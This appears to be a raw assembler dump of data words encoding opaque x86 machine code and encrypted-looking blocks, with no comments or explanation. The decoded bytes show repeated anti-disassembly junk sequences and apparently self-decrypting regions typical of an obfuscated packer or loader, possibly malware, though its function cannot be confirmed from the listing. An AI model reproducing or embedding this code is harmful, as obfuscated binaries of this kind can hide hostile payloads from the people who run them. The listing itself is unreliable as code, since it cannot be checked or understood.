		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 8F538C3h
		dd 35BA4D22h, 0F98BB2D8h, 68A0Fh, 8D310000h, 61D1C11h
		dd 0A362B5FFh, 6A0620h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 0D3344BC3h, 0C418D14Fh, 299529E6h
		dd 0FF061D12h, 1D09AD95h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 3F179482h
		dd 0FFC279ABh, 20A362B5h, 7195FF06h, 0F061D2Ah,	0BD83FEBFh
		dd 61D03EDh, 35840F02h,	6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 618C350h
		dd 80D4ACB0h, 2F49858Bh, 9589061Dh, 61D32A1h, 0BB0000C6h
		dd 5AA0BC2Eh, 0D585C7h,	61Dh, 0BD8B0000h, 61D26C1h, 0FFF278E9h
		dd 0A9BD23FFh, 8B061D16h, 14E9C1h, 0CFBA0000h, 0F14EA70Ch
		dd 4FCCB41Dh, 0D084CBD0h, 29B928D6h, 850F3471h,	5, 97959BFh
		dd 10E878h, 8E940000h, 0C7D5259Fh, 737492F2h, 0C6CA1A6Ah
		dd 0E2808928h, 0BD8B5BD4h, 61D3009h, 6832C381h,	9E90000h
		dd 0DB000000h, 0FD985EF2h, 0A3C06D0Ch, 6F25E8BEh, 6EE8172h
		dd 89726F0Ch, 1D1449BDh, 8B0B8B06h, 1D202195h, 0A3F18106h
		dd 8011C146h, 0C1813FE6h, 46562B69h, 0E981C28Bh, 30C2F723h
		dd 0D26317BFh, 99B85119h, 8F79643Ch, 81666003h,	818AABD2h
		dd 0DAEB4AE3h, 0EB816170h, 7D0352E3h, 2E318D89h, 0C381061Dh
		dd 7D0352DFh, 14298529h, 0EE81061Dh, 1,	0FFA3850Fh, 0CE8FFFFh
		dd 58000000h, 5ACE4165h, 7207624Dh, 58A36923h, 32D68D8Dh
		dd 60600622h, 2A85BD89h, 0F61061Dh, 8961CBB7h, 1D20D18Dh
		dd 85C7F506h, 61D331Dh,	6004h, 0E849D480h, 14h,	9EF21B4Ah
		dd 58C49AB7h, 0D3088C58h, 0F6DFDAC3h, 0D3560A58h, 0DF3AB866h
		dd 0F985C75Eh, 61D2Bh, 0F000000h, 684h,	0D5B52300h, 0FF061D12h
		dd 1D1335B5h, 8E906h, 3C950000h, 0C1A3FCD6h, 81668A2Dh
		dd 0FFE2B6E2h, 1D151995h, 7DBD0306h, 6A061D33h,	995FF00h
		dd 8B061D12h, 161DEBC0h, 0EEA863FCh, 1870E30Eh,	0E3F5151Dh
		dd 0B44B2F21h, 518137E2h, 810B1948h, 0E51ECEDDh, 33B08D8Dh
		dd 6A0622h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 8F344C3h,	6224A240h, 0D28166B8h, 9D095776h
		dd 61D2FD5h, 20D18D89h,	6A061Dh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 820FA5C3h, 4,	3F4AB866h
		dd 331D85C7h, 6BE4061Dh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 0CADD65C3h, 66FCF36Fh
		dd 17C4E881h, 2BF985C7h, 61Dh, 0D38A0000h, 30A5B5FFh, 0D480061Dh
		dd 1995FF1Bh, 89061D15h, 1D2AD185h, 0FF006A06h,	1D120995h
		dd 0EBC08B06h, 938E404Ah, 8AA06A51h, 0A572C9DDh, 823AC63Ch
		dd 0AF39C932h, 1DAB0340h, 59FB0EF6h
		dd 0FD812B6Dh, 4D5419BBh, 0BE0EE3ACh, 0BA6A1327h, 0F80A728Ch
		dd 0EA5DDCACh, 0F1680D93h, 5F0ED217h, 4F4CFE4Ch, 382F9850h
		dd 5127DC4Eh, 0DEF62476h, 0D4D4712Ah, 1DC4B46h,	0D4C8557Fh
		dd 6398525Ch, 0A9A90B33h, 0F1982633h, 0EF5E265Ah, 33853D16h
		dd 0FFB44E60h, 0F867A5E4h, 0A0853E36h, 2467A3BEh, 79672013h
		dd 0CC09A3BAh, 0D71B202Eh, 338500FAh, 831D2933h, 0C0982633h
		dd 84AC29B6h, 0D6157635h, 0AFBA1232h, 450DD963h, 839E3B2Bh
		dd 35982664h, 1F152359h, 4BBA1222h, 0A71DAB63h,	39E0407h
		dd 9899B3CCh, 1493202Eh, 6AA1A23Ch, 0B0152633h,	9CBA1222h
		dd 4DAACE63h, 0F6D82633h, 678FA3BEh, 24C82011h,	0F6AC37B6h
		dd 0FF677635h, 33852A12h, 1794E2B0h, 6FAC37B6h,	23157635h
		dd 55BA1232h, 380DD963h, 3D9E3B2Bh, 6A982651h, 6474AD66h
		dd 11CE7464h, 8DAB2E4Eh, 0A69824DAh, 0D3DF6633h, 2C97260Ch
		dd 2B67D9C6h, 1713EF00h, 35B2CF3Bh, 48AB2633h, 0A71831B9h
		dd 0E868AD03h, 5AAD63h,	0A9982C88h, 0D49BCF33h,	896F2633h
		dd 3566A57Dh, 656CA13Ch, 4EC3D9CCh, 0EEDF7EFBh,	0D697E638h
		dd 5667D9FDh, 8EC6E7B8h, 0A8517F6Ch, 88152637h,	9CBA15CCh
		dd 78ACABBEh, 93202011h, 78000000h, 271E7FCh, 0C8D00731h
		dd 4904C783h, 0FFF2850Fh, 0B58DFFFFh, 6223534h,	35538D8Dh
		dd 0CF2B0622h, 8B05E983h, 6E8C8h, 0FFD60000h, 5A5AFD06h
		dd 59D98B66h, 0ED858B52h, 5B061D18h, 6ED5C181h,	0A3B00000h
		dd 0B70FF62Bh, 0E34FFC6h, 2793BF66h, 14E85Ah, 98550000h
		dd 0ADD2643Ah, 8A65F30Fh, 3A1B12E0h, 15707605h,	9D8B24AAh
		dd 61D1949h, 12C2815Fh,	292D5517h, 1D2119BDh, 0B7EA8106h
		dd 805EDB98h, 0EA81F3E0h, 2BFE00FEh, 1489F98Bh,	0A9C08131h
		dd 0BF265499h, 7467F9F3h, 0B803EE83h, 1655E53Ch, 0CE9604Eh
		dd 5C000000h, 3D28CA9Ch, 28549ED1h, 89428097h, 1D17A9B5h
		dd 0FE816106h, 0FFFF91CCh, 0FF7F850Fh, 30B8FFFFh, 20291029h
		dd 0C8503358h, 10013331h, 51C26A12h, 257FBBh, 62577B3h
		dd 101332Bh, 61C26273h,	0EF339370h, 46D1B8F1h, 106BEBBEh
		dd 802DB61h, 5F213332h,	5E8868F1h, 45803716h, 801C3716h
		dd 13423332h, 84C8B4F1h, 3CA912C0h, 0A052F8EFh,	57853C36h
		dd 62013330h, 7BE6B254h, 67BA5525h, 0FD8252DDh,	261C366Bh
		dd 5C853C32h, 62013332h, 7E96032h, 22013332h, 885AF069h
		dd 105176Eh, 5A051776h,	63013332h, 0A2B7F061h, 0E09AA1B1h
		dd 0B584BAFCh, 0EB072E26h, 101313Ch, 68533358h,	40013331h
		dd 7AC26912h, 142567BBh, 0C2577B3h, 4013326h, 2BC26170h
		dd 51F08C3Dh, 0D32537BBh, 6E74BEBBh, 2F5E352Fh,	0EE257F33h
		dd 23F4AEBBh, 5359352Fh, 66CB6BBh, 825A352Fh, 806B1FF2h
		dd 4002DB67h, 7D213332h, 7C886EF1h, 4C803716h, 4143716h
		dd 57443332h, 0E6829F1h, 800135B5h, 29B43832h, 0AB072E29h
		dd 4701593Ah, 80130DAh,	0C75E1332h, 267DBA6Dh, 2545B236h
		dd 80012836h, 83567432h, 2532DF36h, 0CC6E5E27h,	20CA6BBh
		dd 8F67352Fh, 26BCF7Ah,	102DB61h, 0DB213332h, 1C8868F1h
		dd 64803716h, 10143716h, 5B423332h, 8FFC28F1h, 1F209287h
		dd 38805534h, 40ECC04h,	400133D9h, 0C8543358h, 10013331h
		dd 55C26E12h, 255FBBh, 62577B3h, 1013329h, 0DEC26677h
		dd 0BA83817Dh, 0A11666FEh, 0FA92C0D1h, 1C0B074h, 0EC513358h
		dd 2013331h, 59C26B12h,	842577BBh, 442577B3h, 20013324h
		dd 0E9C26372h, 0B5001CA4h, 21C0347h, 0DE80AB2h,	101DEB7h
		dd 0D7015932h, 400130DAh, 0E35E1332h, 347DBA6Dh, 2C45B236h
		dd 4012536h, 0C1567432h, 80F23B9Eh, 1B2705E5h, 4140B800h
		dd 2D0EC0B3h, 0D80217A0h, 0E0523358h, 4013331h,	59C26812h
		dd 5256FBBh, 842577B3h,	40013329h, 88C26071h, 0A844B7ECh
		dd 7DD7924h, 40137B3h, 63615332h, 752B8C53h, 41825D7Dh
		dd 10015937h, 200130DAh, 0D3591332h, 2C45BA6Ah,	2045B236h
		dd 2012436h, 0C2517332h, 1051C417h, 0B910AB3h, 0A50EB871h
		dd 1001336Ch, 85D9843Dh, 194DBABFh, 53015934h, 10130DAh
		dd 43581332h, 644DBA6Bh, 445B236h, 10012E36h, 0CB507232h
		dd 0D62FB921h, 84FBCF0Dh, 26BA1F82h, 0B5C2441h,	5D11868Fh
		dd 20028B34h, 0F8513332h, 801333Eh, 74502AECh, 0AA5D4054h
		dd 1081EFB3h, 0AF04AEBBh, 1B5F352Fh, 9A67D2CDh,	7A60D2A9h
		dd 0BE96332h, 24013332h, 8B59F06Ah, 80051776h, 9C051776h
		dd 13332h, 9B98F062h, 0F90D8A17h, 5FA923C2h, 895E5252h
		dd 2034CC8Fh, 0EA8CBE34h, 3807110Ah, 4193B046h,	26C0B601h
		dd 0DF2A352Fh, 2003DAF3h, 0C8503358h, 10013331h, 51C26A12h
		dd 257FBBh, 62577B3h, 8301332Bh, 0A4F305E9h, 6AC08Bh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 8BF8FBC3h, 0D98D8DC3h, 6A062239h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 917BC351h
		dd 0BFCD4E8Bh, 8D89F51Fh, 61D20D1h, 11F59D89h, 85C7061Dh
		dd 61D331Dh, 6328h, 10F18D31h, 13E9061Dh, 59000000h, 0C5152DDAh
		dd 0E7F68451h, 6A5A2D11h, 392BA5FBh, 85C7F129h,	61D2BF9h
		dd 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 20C35242h
		dd 20919D2Bh, 0B5FF061Dh, 61D2BCDh, 151995FFh, 0FE9061Dh
		dd 14000000h, 619B11ADh, 0E9F40F58h, 15A9D228h,	6AA1D9h
		dd 120995FFh, 0C08B061Dh, 0DA3D2AEBh, 4D1D4049h, 0E757545Bh
		dd 913EB178h, 0EB942670h, 78D6925h, 4C1943A7h, 0D167DDF0h
		dd 64A20060h, 0D6105EFAh, 0F5A39068h, 569E8705h, 69EEE5Ah
		dd 0C5C6CD59h, 22DA64F4h, 22DA6C52h, 69EF92Fh, 0C5CEAD95h
		dd 1F03C40Ch, 8D98F054h, 0B7576C72h, 85EBB16Bh,	1B888411h
		dd 0FEBED50h, 7BF50A8h,	729EEB88h, 8DCDBDD3h, 29D55A5h
		dd 8317EDB2h, 83C730h, 0A0A37021h, 0D561EB49h, 0BB1DB570h
		dd 83ECB4h, 568999CAh, 29D5536h, 8317EDB2h, 83C730h, 0A5B27021h
		dd 0D561EB49h, 9315B570h, 83FD10h, 2C5B70E3h, 0C615EB78h
		dd 21F35039h, 8AF8EB44h, 0AF03C674h, 0AE98F064h, 0C11AE22Fh
		dd 609EED96h, 0BB1D1741h, 83E83Ch, 4B1AE2B2h, 6C9EED59h
		dd 576B8ACh, 269EED56h,	8FC32E76h, 879AC9F9h, 1B9AC98Eh
		dd 439EED65h, 0D18B2EE7h, 0B78EA255h, 0FB59BBEAh, 69D60BFh
		dd 539E872Bh, 69EEE7Dh,	0C5C3CDCAh, 22F26438h, 22DA6CB6h
		dd 69EF85Dh, 0C5CBA8ACh, 8B156D98h, 83EDBEh, 6B9ED2Bh
		dd 519E87C8h, 69EEE8Dh,	0C5C1CDB2h, 22E26406h, 22DA6CA8h
		dd 69EF452h, 0C5C9AA2Bh, 0D499EF3Ah, 8B156314h,	83C8C4h
		dd 6C31683Fh, 0DD1EEB79h, 6C4E120Ch, 576BE56h, 269EED2Bh
		dd 8FC52ECEh, 879AC996h, 129AC921h, 459EEDB2h, 0BC3B2E0Ah
		dd 43DEFA59h, 82912DD3h, 69EEDFAh, 0EECFEDFFh, 69EEDC9h
		dd 5F5DB445h, 2BAA13Bh,	2BAA9D8h, 69EEDB9h, 225DBC17h
		dd 5C67BA70h, 60C9D514h, 8391164Bh, 69EED41h, 69EE05Bh
		dd 0B4209E59h, 0CEBE77B7h, 9CCB5C07h, 87F89C71h, 49CE9EDh
		dd 44D69C5h, 8B15ED65h,	83F5D7h, 9AA66C3Fh, 701BE2CCh
		dd 6C9EED56h, 576B82Bh,	269EED95h, 8FC32E97h, 879AC909h
		dd 1B9AC9F6h, 439EED59h, 494E2EF9h, 28BAFC2h, 8AE72013h
		dd 7E1EC626h, 839105C8h, 69EED20h, 2636099h, 87F8EB44h
		dd 0AD9EEBD4h, 6AD6859h, 0EF67ED2Bh, 69EEFECh, 0EEC9EDA0h
		dd 69EED66h, 595DB292h,	2BA91D0h, 2BAA92Dh, 69EED4Bh, 0BB5DBA6Ch
		dd 0C8A4179Dh, 0CEF8AF7h, 5F03DC40h, 8C98F0B2h,	79E53A5h
		dd 8FCDABADh, 1BB164E3h, 0D615B22Dh, 6C316818h,	6F4EBEAh
		dd 69D0536h, 5DBEEDB2h,	5A17B69Ah, 421FE988h, 68AE972h
		dd 55DDED2Bh, 939D7456h, 83FA57h, 6F43D9Ah, 69D05E2h, 5EBEED59h
		dd 4217B56Fh, 421FE972h, 685E90Fh, 56DEED95h, 8E441F09h
		dd 0F761DA15h, 0B8776CCEh, 83B4EB1Ch, 0C91AE26Ch, 99EED57h
		dd 69EEBA4h, 0B3036695h, 8F98F0C1h, 1B9760F0h, 60A66CB4h
		dd 99CEF64h, 69ED229h, 559E8756h, 69EEEC3h, 0C5C5CD95h
		dd 22C26491h, 22DA6C61h, 69EF1B6h, 0C5CDAE59h, 0EAEF1CF6h
		dd 0B781BC58h, 6B236610h, 8798F080h, 3BF8EBB2h,	8291973Ah
		dd 69EEC3Fh, 2F03CE09h,	5D98F0AEh, 9AA66C30h, 7F1BE24Bh
		dd 8D9EED95h, 1B9C9047h, 4E66D63h, 6F1BE25Ah, 6C9EED59h
		dd 576BFACh, 269EED56h,	8FC42E71h, 879AC9C1h, 1B9AC98Eh
		dd 449EED65h, 457D2EE0h, 0D7054CACh, 0E8F45E0h,	69C6959h
		dd 0F42BED2Bh, 0E66CF3h, 83912DCAh, 69EED55h, 0D30366D2h
		dd 6798F043h, 69FC945h,	569E8756h, 69EEEC3h, 0C5C6CD95h
		dd 22DA6492h, 22DA6C61h, 69EF9B6h, 0C5CEAD59h, 606F6709h
		dd 929506D7h, 79FED95h,	8B6767EBh, 26F4424Fh, 0FD218B63h
		dd 604E12F3h, 83663CD2h, 0C91AE26Ch, 0D9EED56h,	1BBC3CA6h
		dd 0EEA66D93h, 6DC68C5h, 7E1EED65h, 83919EB7h, 69EED61h
		dd 5599952Ch, 6216959h,	6F4ED2Bh, 69D05C2h, 59BEEDCAh
		dd 7A17B2A6h, 421FE996h, 686E97Dh, 51D9EDACh, 0C456F695h
		dd 93AF62A4h, 83C218h, 0AB0B649Bh, 5998F066h, 89A66CD4h
		dd 751BE25Ch, 609EEDACh, 5E613CD7h, 6E9895ABh, 6FA689Ah
		dd 6F4EDCAh, 69D0532h, 59BEEDB2h, 7A17B29Ah, 421FE988h
		dd 68BE972h, 51D9ED2Bh,	0FFD18556h, 0DE66CACh, 8391C89Ah
		dd 69EED88h, 0EECDED33h, 69EEDAFh, 5D5DB676h, 2BAB1A2h
		dd 2BAA914h, 69EEDDCh, 195DBE26h, 0EFFEAE34h, 69EED49h
		dd 1FE69293h, 6811564Dh, 5C37CC7Eh, 4D5657FBh, 68D04ABh
		dd 0C6B5ED65h, 0C62F1A33h, 9778A62h, 8D9EEDACh,	1B8458DBh
		dd 69F552Dh, 0BCF8ED95h, 66CE2508h, 6B615236h, 0BEC5B40Eh
		dd 608E7857h, 229A64CDh, 7CB60DFh, 0BB13EB36h, 0BCD79Dh
		dd 38246047h, 2526EB47h, 5E98BE7h, 1B8260DCh, 0C751C6AAh
		dd 79FED95h, 8B6767EBh,	26F4424Fh, 0FD218B63h, 604E12F3h
		dd 83663CD2h, 0E983E26Ch, 58A4F305h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 18C35141h, 96C1CAA7h, 13A9BD29h
		dd 0CE8A061Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	0E7C35141h, 81C10EDCh, 697FEAC9h, 7E85Eh, 871D0000h
		dd 0AAFD1665h, 459589DCh, 5F061D0Fh, 840FC00Bh,	77h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0B8C35646h, 661C44C0h
		dd 0EB8AFB8Bh, 4C89B58Dh, 0F181061Dh, 54162258h, 3B8h
		dd 0DF816600h, 0E6FF3DB6h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 0C7C35747h, 30FADEE6h, 4CF61BCEh, 11E9C7h
		dd 58DF0000h, 1CEB4DADh, 0F3A22918h, 4CAC48AEh,	4051DA35h
		dd 8BC08BF8h, 69BD83D0h, 61D16h, 0BD830975h, 61D0121h
		dd 50197400h, 0B8C08B53h, 403h,	0F3D8589h, 9D8D061Dh, 61FA6A4h
		dd 585BD3FFh, 121BD83h,	7400061Dh, 0B8535017h, 403h, 0F3D8589h
		dd 9D8D061Dh, 61FA345h,	585BD3FFh, 19B589F8h, 8B061D00h
		dd 57006AC0h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 60B981CFh, 8E9C458h, 0BE000000h,	293429E2h
		dd 611CB1A6h, 41228D8Dh, 0B5890622h, 61D1595h, 20D18D89h
		dd 6A061Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 995160C3h, 2C81BD01h, 85C7061Dh, 61D331Dh
		dd 6458h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	6BC35545h, 0BB227627h, 2BF985C7h, 61Dh,	6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 353CA2C3h, 0BE8h, 7E5D0800h,	0D1FE6B1Dh, 0A46F25D9h
		dd 0BD58D29h, 0FF5A061Dh, 1D0055B5h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 8BAB2681h
		dd 1D2A5185h, 1995FF06h, 0F061D15h, 682h, 0F9B58900h, 6A061D10h
		dd 995FF00h, 8B061D12h,	652EEBC0h, 0E094657Dh, 24F922BCh
		dd 0E6CCBD33h, 0B8759B85h, 378092A6h, 96B6AA8Fh, 0C6507D1Eh
		dd 887941F6h, 41ECB229h, 84922217h, 46CE7579h, 0BE825h
		dd 0CCB00000h, 5DE26A0Bh, 6EB1C880h, 51BD8927h,	5B061D06h
		dd 844E78BFh, 0C5C3811Ch, 0F000060h, 38Dh, 0D3B70F00h
		dd 8589C92Bh, 61D2E89h,	0F0B048Bh, 0F081D6BFh
		dd 37BA7326h, 0F7EE8157h, 5E57182Ch, 4BA0E881h,	5BA1194h
		dd 81562A23h, 242F36E8h, 29858919h, 50061D26h, 15C9BD89h
		dd 48F061Dh, 8DBA660Bh,	6E91Fh,	648A0000h, 1115D122h, 0E0BEE981h
		dd 0C181204Eh, 204EE0BAh, 1820Fh, 81F90000h, 0FFA008F9h
		dd 11850FFFh, 0E9000000h, 3Bh, 0F5D0F9B6h, 3B34F330h, 750115C1h
		dd 11810Fh, 0CE90000h, 5000000h, 0D144A311h, 2AD8BDA7h
		dd 0E99A399Ah, 0FFFFFF70h, 0DC6EE40Ch, 0EA353C7h, 59AFC87Eh
		dd 0B5AB1BE9h, 0E85C8031h, 9, 704D50CAh, 7DC65942h, 69950948h
		dd 5B061D07h, 17F18D8Bh, 0C381061Dh, 6873h, 1B559D89h
		dd 0C02B061Dh, 2C11BD01h, 34FF061Dh, 81F55A18h,	0D9A0EBEAh
		dd 1FC28122h, 0F569F305h, 9DABF281h, 61B95984h,	8913F6F6h
		dd 0B58B0314h, 61D1BE9h, 0E883CB8Bh, 0F8814803h, 0FFFF9820h
		dd 16850Fh, 0B70F0000h,	2DE9CEh, 0C6DD0000h, 0D2132FB9h
		dd 4ED10D52h, 0BDC699FBh, 755BD8Bh, 0A7E9061Dh,	0A9FFFFFFh
		dd 40A13838h, 0F9A80405h, 2AD04842h, 1865A9C2h,	8DBCCAF8h
		dd 22436C8Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 350B144h,	1D2CED95h, 8D895B06h, 61D20D1h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 48C35646h
		dd 6D3610FEh, 8B604E52h, 85C761D7h, 61D331Dh, 682Ch, 0E9DABE66h
		dd 2BF985C7h, 61Dh, 0AE80000h, 80000000h, 2EF1E1F0h, 0D04D30CFh
		dd 0FF5BF5F9h, 1D16EDB5h, 79858B06h, 89061D13h,	1D2911B5h
		dd 1995FF06h, 89061D15h, 1D2021BDh, 0FF006A06h,	1D120995h
		dd 0EBC08B06h, 3182335Fh, 0C197EF77h, 8797B5D9h, 1FDBCF5Fh
		dd 2C875E5Bh, 1E74CF12h, 186DF473h, 6D252770h, 0ED84467Fh
		dd 5DA15F59h, 0E7D4E15Dh, 6B56EAFh, 81C5458Bh, 2AE4D8D7h
		dd 0EF1E78EEh, 9BBBC734h, 41669E13h, 0B4C6AEC9h, 0FF93BCBFh
		dd 849B6E3Dh, 12DBA4A0h, 9D05EBB4h, 4F3929B1h, 0A75DF367h
		dd 8CD9D8Dh, 39B8061Dh,	89000000h, 1D15E985h, 0E806h, 5580000h
		dd 0Dh,	39E90389h, 0
		dd 0Dh dup(77E600h), 0FF77E600h, 8E8h, 95EE7100h, 0CA6BE949h
		dd 14E9ADh, 3CAE0000h, 6BA3DE01h, 23D92754h, 0A6AADF5Eh
		dd 2228593Ch, 815AAD2Dh, 5E53C2h, 33F18B00h, 0ABC180FFh
		dd 813A1C8Bh, 83B7A1F3h, 0F38B6643h, 413DC381h,	81F92569h
		dd 0C300D0EBh, 9E97Bh, 0D4A10000h, 0B6F15927h, 530D83A3h
		dd 9E9h, 367B4B00h, 95AB3B36h, 48FB804h, 7E93Ah, 0B6260000h
		dd 326E97Ah, 0F38B66B1h, 3D7EEF81h, 0C7817966h,	79663D7Ah
		dd 0FF8130B5h, 0FFFFA288h, 1F850Fh, 8C0F0000h, 3, 0E9CF8B66h
		dd 40h,	3D39D7B8h, 0EA714778h, 2D86E19Fh, 0CAA5F809h, 11E96047h
		dd 0DF000000h, 8EA3D368h, 0AAB9AACh, 1461FF27h,	0FB6429B2h
		dd 0E961E18Ah, 0FFFFFF60h, 28AB30DDh, 20F8DE34h, 226D46C6h
		dd 97D33C40h, 0B0E9h, 8C666000h, 4C2F6DAh, 0C850Fh, 853B0000h
		dd 61D11E5h, 36840Fh, 853B0000h, 61D1365h, 2A840Fh, 853B0000h
		dd 61D3355h, 1E840Fh, 853B0000h, 61D1525h, 12840Fh, 0BD830000h
		dd 61D2A2Dh, 5840F01h, 0E9000000h, 5Fh,	5203D08Bh, 88BA8B3Ch
		dd 8B000000h, 0C985784Ah, 49840Fh, 0C2810000h, 0F8h, 30C728Bh
		dd 1C598BC8h, 314518Bh,	850B8BD8h, 10840FC9h, 3B000000h
		dd 17820FCEh, 3B000000h, 0F830FCFh, 83000000h, 0F4A04C3h
		dd 0FFFFDC85h, 0DE9FFh,	9D8D0000h, 61D4C89h, 5B8h, 61E3FF00h
		dd 8DD00BC3h, 2246908Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 0CC864EE2h, 89F91881h
		dd 1D20D18Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 0D3064D36h, 83BE6601h, 1D85C7E8h
		dd 8C061D33h, 6A000074h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 0F65C351h, 0D380C1BFh
		dd 0F985C7BDh, 61D2Bh, 29000000h, 1D06519Dh, 55B5FF06h
		dd 6A061D00h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 0C125C357h, 56B6F380h,	3D1BD2Bh
		dd 0FF5E061Dh, 1D151995h, 0FF006A06h, 1D120995h, 0EBC08B06h
		dd 8768D32Eh, 111103C6h, 5342F217h, 406CB58Ch, 0D9A8E426h
		dd 71E5617Eh, 0B64462B8h, 110BF38h, 0C485192Ah,	5A880FDh
		dd 0D4DEF8FCh, 0EBE7183Ah, 6F68536Ch, 75637472h, 6F742074h
		dd 61747320h, 70757472h, 14h dup(0)
		dd 7B0B8600h, 14Eh, 0EF6E900h, 0BF680000h, 0E9062248h
		dd 0FFFBFEBBh, 22498868h, 0FEB1E906h, 3068FFFBh, 0E906224Bh
		dd 0FFFBFEA7h, 224B6F68h, 0FE9DE906h, 1368FFFBh, 0E906224Ch
		dd 0FFFBFE93h, 224CA468h, 0FE89E906h, 2968FFFBh, 0E9062251h
		dd 0FFFBFE7Fh, 22538E68h, 0FE75E906h, 5A68FFFBh, 0E9062254h
		dd 0FFFBFE6Bh, 0C84DBCEBh, 72F76494h, 1DA2CB3Eh, 0CB50BDE9h
		dd 78FD6C97h, 148FF7DFh, 0C13C70F5h, 0B1EB1FA4h, 6997CB50h
		dd 69E87B00h, 67807C1Fh, 0E14F5293h, 14E4057Bh,	0A22740BEh
		dd 5FE2DF55h, 0C898F12Fh, 0B2FC8131h, 9760DAE4h, 0ED1E8ABAh
		dd 0E1D6861Dh, 679DCD50h, 0EF9F3606h, 2DF6AD1Dh, 74F56CA7h
		dd 0DBABD844h, 5EBF9444h, 0FA3432D7h, 0CA1473B8h, 6CA73511h
		dd 30006D9Ch, 5315A699h, 0CF69DB60h, 0EE8131EFh, 2Fh, 0EFD2625Ch
		dd 0A1C23C6Ch, 6DB73AD1h, 9545C7B2h, 0DA5F0FA0h, 60C6CA90h
		dd 7F4FE097h, 0A739680Fh, 2586576Ch, 0FA4B6B9Eh, 0B72CB8h
		dd 4C9A0000h, 0C7F8A3EDh, 45D69545h, 0C7C778C2h, 1AAB9545h
		dd 7DEE146Ah, 99C928ADh, 9A31016Ch, 45C7732Ch, 1ECE5F95h
		dd 5E2E5FC8h, 0EE719A08h, 51214ABEh, 0B3380ABAh, 39E91883h
		dd 0C74CBDE3h, 45CC8D79h, 0C0E81695h, 0B902546h, 7040A9D7h
		dd 0B8E3301h, 9F55F3C1h, 43C85968h, 833EF6h, 80F81CB6h
		dd 0E91226Eh, 0BF44A5DEh, 0E5F1108Bh, 0B0AA8E80h, 0B1DE31FFh
		dd 0BC00000Ch, 65991E4Fh, 0F43C835h, 0BAEE739Ah, 689C2142h
		dd 0B049CE3Fh, 0C62760C8h, 75900D41h, 2142BCF0h, 0D13A689Ch
		dd 0F03AB94Ch, 93678F4Fh, 7BB22023h, 285CE100h,	0A90C91FAh
		dd 30E00D79h, 1D2629Ch,	653558D1h, 0C7BF60CEh, 2939545h
		dd 42BAEA6Dh, 3550CD21h, 991ECE65h, 60C6894Fh, 3E0E9F97h
		dd 0A73829CEh, 0E445166Ch, 0FA4CAC5Dh, 0AEEBB8h, 7B590000h
		dd 0BE14E405h, 0E4542445h, 9545CC70h, 65EA0381h, 179AF331h
		dd 68551379h, 4CFC489Ch, 98290B7Ah, 0C0FDCB15h,	0A563689Fh
		dd 1DF55748h, 7D029732h, 3ABD0430h, 808167F0h, 37BA4B6Eh
		dd 74AE9C07h, 17AC4313h, 0C4255E92h, 0AAB75DB8h, 1F7240B0h
		dd 0BE8h, 0D05584F3h, 7AFF6C9Ch, 25AAD346h, 0D358B5F1h
		dd 8005649Fh, 6C97FFE7h, 0D94478FDh, 89F327ACh,	619FD358h
		dd 71F08308h, 678E7427h, 0E9575A93h, 0F622007Bh, 5C1EB585h
		dd 0A6A8E78Dh, 6CF1866Ah, 0BCE2CA38h, 8AB77B4Bh, 0F78C5BE6h
		dd 25A83DD2h, 8C5C89F5h, 4CBE45F5h, 14E4057Bh, 3F6840BEh
		dd 0A2729B0Fh, 0FA6760Bh, 8CA8F57Ah, 2353B235h,	3051CBFBh
		dd 0F75CB9Bh, 299949DEh, 9760AA3Bh, 0DD0D9021h,	0DB7242A3h
		dd 32E9592Bh, 316CA71Eh, 3BFB12B0h, 0B18E1D82h,	559114EFh
		dd 91411C07h, 35D45BBCh, 62B8F9D6h, 0Ch, 1871AFDFh, 3F7ED468h
		dd 0EC000008h, 6CEFD262h, 60A97422h, 940A5A97h,	0B80EDE73h
		dd 399C214Ah, 1DEF90DAh, 3A626CA7h, 9545D6C9h, 0BDE9C13Fh
		dd 838BB50h, 0EFC1719Ah, 6B7EF27Fh, 16772A01h, 974892F1h
		dd 7B07DB70h, 0BEE43AEAh, 6E94C84Dh, 7BD2DFDh, 1607DB70h
		dd 900E0465h, 4B95F477h, 7DB7090h, 0B63DED7Eh, 1BEB1C82h
		dd 0DC36A9ABh, 218255E2h, 1194F52Bh, 7848A5E1h,	76AA31E1h
		dd 0A00FDF08h, 60AA2D94h, 5FE1E1Ah, 651A9F30h, 0C2FF3523h
		dd 3781E03Fh, 19C44884h, 7FE01A6Ah, 30CA3AEAh, 1E1BE153h
